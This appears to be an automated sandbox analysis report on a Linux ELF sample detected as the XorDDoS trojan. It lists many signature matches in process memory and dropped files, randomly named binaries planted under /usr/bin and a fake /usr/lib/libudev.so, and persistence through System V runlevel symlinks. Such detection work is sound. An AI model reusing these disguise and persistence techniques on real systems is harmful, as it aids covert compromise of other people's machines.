Source: Process Memory Space: Di1p3oLnDb.elf PID: 6357, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6365, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6368, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6370, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6373, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6375, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6384, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6387, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6389, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6393, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6395, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6401, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6404, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6407, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6409, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6412, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6418, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6421, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6423, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6426, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6429, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6435, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6438, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6440, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6443, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6446, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6455, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6458, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6460, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6463, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/kihierzlde, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/kihierzlde, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/kihierzlde, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/xmnjiktnas, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/xmnjiktnas, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/xmnjiktnas, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/uvilsmwwhk, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/uvilsmwwhk, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/uvilsmwwhk, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/koygrrjkon, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/koygrrjkon, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/koygrrjkon, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/hszflciagy, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/hszflciagy, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/hszflciagy, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/qhknhggmjf, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/qhknhggmjf, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/qhknhggmjf, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/ilrbozcctp, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/ilrbozcctp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/ilrbozcctp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/cbsypxwvhg, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/cbsypxwvhg, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/dvisuvnfsi, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/dvisuvnfsi, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/dvisuvnfsi, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/dwfhzeeizt, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/dwfhzeeizt, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/dwfhzeeizt, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/gwqnqvffue, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/gwqnqvffue, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/gwqnqvffue, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/ltaanxttrs, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/ltaanxttrs, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/ltaanxttrs, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/bvyxmkkmbp, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/thgxtutpuw, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/bvyxmkkmbp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/bvyxmkkmbp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/thgxtutpuw, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/thgxtutpuw, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: /usr/bin/zzdslzxygn, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/zzdslzxygn, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: /usr/bin/zzdslzxygn, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/21@5/0

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)

/run/gcc.pid: qxswbkrhglbryhoajlnppmfyfcglitia

Jump to behavior

Persistence and Installation Behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc1.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
Source: /tmp/Di1p3oLnDb.elf (PID: 6225)	File: /etc/rc2.d/S90Di1p3oLnDb.elf -> /etc/init.d/Di1p3oLnDb.elf	Jump to behavior
